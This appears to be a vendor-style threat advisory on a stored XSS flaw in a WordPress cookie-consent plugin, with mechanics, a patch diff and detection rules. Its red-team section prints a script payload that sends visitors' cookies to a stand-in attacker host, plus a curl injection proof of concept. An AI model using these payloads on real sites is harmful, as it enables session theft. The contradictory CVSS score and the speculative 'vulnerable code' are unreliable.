CVE-2025-1624

Executive Summary

CVE-2025-1624 is a Stored Cross-Site Scripting (XSS) vulnerability in the GDPR Cookie Compliance WordPress plugin, affecting versions before 4.15.9. The flaw allows high-privilege users (e.g., administrators) to inject arbitrary web scripts into plugin settings, which are then stored and executed when other users view the affected pages. This is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disabled, as it bypasses standard input sanitization. The vulnerability has a CVSS score of 0.0 (placeholder), but based on the vector, it is a medium-severity issue requiring authenticated access and user interaction.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should verify their plugin version and update immediately to 4.15.9 or later. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires admin-level access, but in multisite environments, it can lead to cross-site scripting attacks affecting lower-privilege users.

Deep Dive & Mechanics

The vulnerability resides in the plugin's settings page, where user-supplied input is not properly sanitized or escaped before being stored and later rendered. The plugin uses add_settings_field() and register_setting() to handle configuration options. The flaw is in the output of these settings, where the plugin fails to apply esc_html() or similar escaping functions.

Root Cause: The plugin directly echoes or prints the stored setting value without sanitization. For example, a setting like gdpr_cookie_banner_text might be output using echo get_option('gdpr_cookie_banner_text') instead of echo esc_html(get_option('gdpr_cookie_banner_text')).

Attack Flow:

1. An authenticated admin navigates to the plugin settings page.
2. The admin injects a malicious payload (e.g., <script>alert('XSS')</script>) into a text field.
3. The payload is stored in the WordPress options table.
4. When any user (including lower-privilege users) visits a page that renders this setting, the script executes in their browser.

Multisite Impact: In WordPress multisite, super admins can manage network-wide settings. If a super admin injects malicious code, it affects all sites in the network. Additionally, site admins (who lack unfiltered_html) can still inject scripts because the plugin does not enforce capability checks.

Vulnerable vs. Patched Code

Vulnerable Code (version < 4.15.9):

// In gdpr-cookie-compliance/admin/class-gdpr-cookie-compliance-admin.php
function render_settings_field($args) {
    $value = get_option($args['option_name']);
    echo '<input type="text" name="' . $args['option_name'] . '" value="' . $value . '" />';
}

Patched Code (version 4.15.9):

function render_settings_field($args) {
    $value = get_option($args['option_name']);
    echo '<input type="text" name="' . esc_attr($args['option_name']) . '" value="' . esc_attr($value) . '" />';
}

The patch adds esc_attr() to sanitize the output, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with GDPR Cookie Compliance plugin < 4.15.9.
• Admin-level credentials.

Steps:

1. Log in as an admin.
2. Navigate to Settings > GDPR Cookie Compliance.
3. In the "Banner Text" field, inject:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save settings.
5. Any user visiting the site will trigger the script, exfiltrating cookies.

Proof of Concept (PoC):

# Using curl to simulate admin action
curl -X POST 'http://target.com/wp-admin/options-general.php?page=gdpr-cookie-compliance' \
  -d 'gdpr_cookie_banner_text=<script>alert(1)</script>&action=update&_wpnonce=VALID_NONCE'

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to the gdpr_cookie_banner_text option in the database.
• Look for admin users modifying plugin settings with script tags.

Hardening:

• Apply the patch by updating to version 4.15.9.
• Restrict admin access to trusted users only.
• Use a Web Application Firewall (WAF) to block XSS payloads in POST requests.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/gdpr-cookie-compliance/admin/class-gdpr-cookie-compliance-admin.php (version < 4.15.9)
• Database Option: gdpr_cookie_banner_text containing <script> tags.
• Network: Outbound requests to attacker-controlled domains from the WordPress admin panel.
• Logs: WordPress audit logs showing changes to GDPR Cookie Compliance settings.

Detection Engineering

YARA Rule

rule Detect_GDPR_Cookie_Compliance_XSS {
    meta:
        description = "Detects vulnerable version of GDPR Cookie Compliance plugin"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-1624"
    strings:
        $vuln_func = "render_settings_field" ascii wide nocase
        $vuln_code = "value=\"" ascii wide nocase
        $patched_code = "esc_attr" ascii wide nocase
    condition:
        $vuln_func and $vuln_code and not $patched_code
}

Sigma Rule

title: GDPR Cookie Compliance Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS in GDPR Cookie Compliance plugin settings
author: Valters IT
date: 2025-04-01
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # WordPress audit log event
        Object: 'gdpr_cookie_banner_text'
        Data|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin changes with script tags (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1624 - GDPR Cookie Compliance Stored XSS"; flow:to_server,established; content:"gdpr_cookie_banner_text"; nocase; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the GDPR Cookie Compliance plugin to version 4.15.9 or later.
2. Review all plugin settings for any injected scripts and remove them.
3. Rotate admin credentials if compromise is suspected.

Long-term Mitigations:

• Implement a Content Security Policy (CSP) to block inline scripts.
• Use a WordPress security plugin to monitor file changes and detect XSS.
• Regularly audit user permissions, especially in multisite environments.
• Apply the principle of least privilege to admin accounts.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.